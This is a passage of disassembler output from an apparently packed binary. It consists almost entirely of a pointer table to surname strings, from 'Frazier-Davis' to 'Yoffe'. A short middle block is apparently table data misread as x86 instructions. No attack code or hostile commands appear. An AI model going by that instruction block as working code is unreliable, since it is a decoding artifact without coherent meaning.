		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: .packed:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
